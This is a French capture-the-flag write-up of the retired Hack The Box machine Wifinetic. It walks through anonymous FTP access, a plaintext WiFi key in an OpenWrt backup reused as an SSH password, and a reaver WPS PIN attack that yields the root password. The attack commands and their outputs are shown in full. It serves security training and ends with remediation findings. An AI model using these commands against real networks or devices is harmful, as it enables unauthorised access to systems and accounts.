Linux Easy
Wifinetic : un backup OpenWrt, une clé WiFi réutilisée et un WPS craqué vers root
FTP anonyme menant à un backup OpenWrt exposant une clé WiFi, réutilisée en SSH, puis crack WPS avec reaver pour récupérer le mot de passe root.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- FTP anonyme ouvert, exposant un backup de configuration OpenWrt (
.tar). - Le fichier
etc/config/wirelessdu backup contient en clair la clé WiFi du réseauOpenWrt. - Cette même clé est réutilisée comme mot de passe SSH pour l'utilisateur
netadmin. - Depuis
netadmin, le binairereaver(capabilitycap_net_raw) permet d'attaquer le point d'accès WiFi local. - Une attaque Pixie Dust échoue, mais une attaque WPS classique réussit en quelques secondes et révèle le mot de passe root via le WPA PSK cassé.
Reconnaissance
nmap -sVC -T4 10.129.229.90PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 4434 Jul 31 2023 MigrateOpenWrt.txt
| -rw-r--r-- 1 ftp ftp 2501210 Jul 31 2023 ProjectGreatMigration.pdf
| -rw-r--r-- 1 ftp ftp 60857 Jul 31 2023 ProjectOpenWRT.pdf
| -rw-r--r-- 1 ftp ftp 40960 Sep 11 2023 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r-- 1 ftp ftp 52946 Jul 31 2023 employees_wellness.pdf
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
53/tcp open tcpwrappedUn FTP anonyme ouvert avec un backup de configuration OpenWrt directement visible dans le listing : c'est la piste la plus prometteuse.
Énumération
ftp anonymous@10.129.229.90230 Login successful.mget *Une fois backup-OpenWrt-2023-07-26.tar récupéré, une première tentative d'extraction a échoué :
tar -xvf backup-OpenWrt-2023-07-26.tartar: This does not look like a tar archive
tar: Skipping to next header
tar: Exiting with failure status due to previous errorsEn réalité, la commande get MigrateOpenWrt.txt backup-OpenWrt-2023-07-26.tar avait téléchargé le contenu de MigrateOpenWrt.txt mais l'avait enregistré localement sous le nom backup-OpenWrt-2023-07-26.tar : le fichier portait le bon nom mais le mauvais contenu, d'où l'échec de l'extraction. Un re-téléchargement propre via mget * récupère chaque fichier sous son vrai nom, et l'extraction a ensuite fonctionné normalement.
tar -xvf backup-OpenWrt-2023-07-26.tar
cd etc
cat config/wirelessconfig wifi-iface 'wifinet0'
option device 'radio0'
option mode 'ap'
option ssid 'OpenWrt'
option encryption 'psk'
option key 'VeRyUniUqWiFIPasswrd1!'
option wps_pushbutton '1'La clé WiFi du point d'accès OpenWrt est en clair dans le fichier de configuration du backup. Le fichier passwd du même backup liste aussi un compte netadmin, candidat naturel pour une réutilisation de mot de passe.
Foothold
ssh netadmin@10.129.229.90netadmin@10.129.229.90's password: VeRyUniUqWiFIPasswrd1!
netadmin@wifinetic:~$ cat user.txtLa clé WiFi trouvée dans le backup OpenWrt fonctionne directement comme mot de passe SSH pour netadmin, un cas classique de réutilisation de secret entre un équipement réseau et un compte système.
Élévation vers root
Pistes classiques écartées
id; sudo -lSorry, user netadmin may not run sudo on wifinetic.Pas de sudo, pas de tâche cron exploitable (/etc/crontab et /etc/cron.d/ ne contiennent que des jobs standards Ubuntu).
getcap -r / 2>/dev/null/usr/bin/reaver = cap_net_raw+epreaver, l'outil d'attaque WPS, dispose de la capability cap_net_raw, ce qui permet de manipuler des paquets réseau bruts sans être root : c'est le vecteur de privesc.
Identification de l'interface et de la cible
iw devphy#0
Interface wlan0
ssid OpenWrt
type AP
channel 1 (2412 MHz)
phy#2
Interface mon0
type monitorUne interface mon0 en mode monitor est déjà disponible, et le point d'accès local OpenWrt (BSSID 02:00:00:00:00:00) tourne sur le canal 1.
Attaque WPS : Pixie Dust puis bruteforce classique
reaver -i mon0 -b 02:00:00:00:00:00 -c 1 -K -vvexecuting pixiewps -e ... -s ... -z ... -a ... -n ... -r ...
[-] WPS pin not found!L'attaque Pixie Dust échoue : le point d'accès n'est pas vulnérable à cette variante (pas de génération faible des nonces côté AP). Direction l'attaque WPS classique (bruteforce du PIN), nettement plus lente en théorie mais ici quasi instantanée.
reaver -i mon0 -b 02:00:00:00:00:00 -c 1 -vv[+] Trying pin "12345670"
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Pin cracked in 2 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'Le PIN WPS par défaut (12345670) est accepté directement, ce qui révèle le WPA PSK du réseau.
Root
su -Password: WhatIsRealAnDWhAtIsNot51121!
root@wifinetic:~# cat root.txtLe WPA PSK révélé par le crack WPS est en réalité le mot de passe du compte root, une seconde réutilisation de secret entre la couche WiFi et les comptes système de la machine.
Findings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | FTP anonyme exposant un backup de configuration réseau contenant des secrets en clair | Élevée | Désactiver l'accès anonyme FTP, ne jamais stocker de backups de configuration sur un partage non authentifié |
| F2 | Clé WiFi en clair dans un fichier de configuration OpenWrt accessible | Élevée | Chiffrer ou restreindre l'accès aux fichiers de configuration contenant des secrets, rotation des clés après tout export/backup |
| F3 | Mot de passe SSH de netadmin identique à la clé WiFi du point d'accès | Critique | Ne jamais réutiliser un secret entre deux systèmes distincts (équipement réseau vs compte système) |
| F4 | Capability cap_net_raw sur reaver accessible à un utilisateur non administrateur, permettant une attaque WPS contre l'AP locale | Élevée | Retirer la capability réseau brute des binaires non indispensables, restreindre reaver aux comptes qui en ont réellement besoin |
| F5 | Point d'accès WiFi vulnérable au bruteforce WPS (PIN par défaut accepté), et mot de passe root identique au WPA PSK | Critique | Désactiver WPS, changer le mot de passe root et ne jamais le faire correspondre à un secret WiFi |
Leçons apprises
- Un FTP anonyme avec des fichiers de backup réseau mérite toujours d'être exploré en premier : les fichiers de configuration embarquent souvent des secrets en clair (clés WiFi, mots de passe, certificats).
- Toujours vérifier l'intégrité d'un fichier téléchargé par FTP avant de s'interroger sur son format :
mget *évite les erreurs de renommage qu'unget source destrépété peut introduire. - Pixie Dust n'est pas une solution universelle contre WPS : un point d'accès peut y résister tout en restant vulnérable à un bruteforce de PIN classique, surtout avec un PIN par défaut comme
12345670. reavera une syntaxe exigeante (interface monitor, BSSID, canal, mode d'attaque) : un passage par-het la documentation est indispensable avant une première utilisation.- La réutilisation de secrets peut se propager en cascade : une clé WiFi réutilisée pour un compte SSH, puis un WPA PSK réutilisé comme mot de passe root. Chaque secret retrouvé vaut la peine d'être testé sur tous les comptes rencontrés.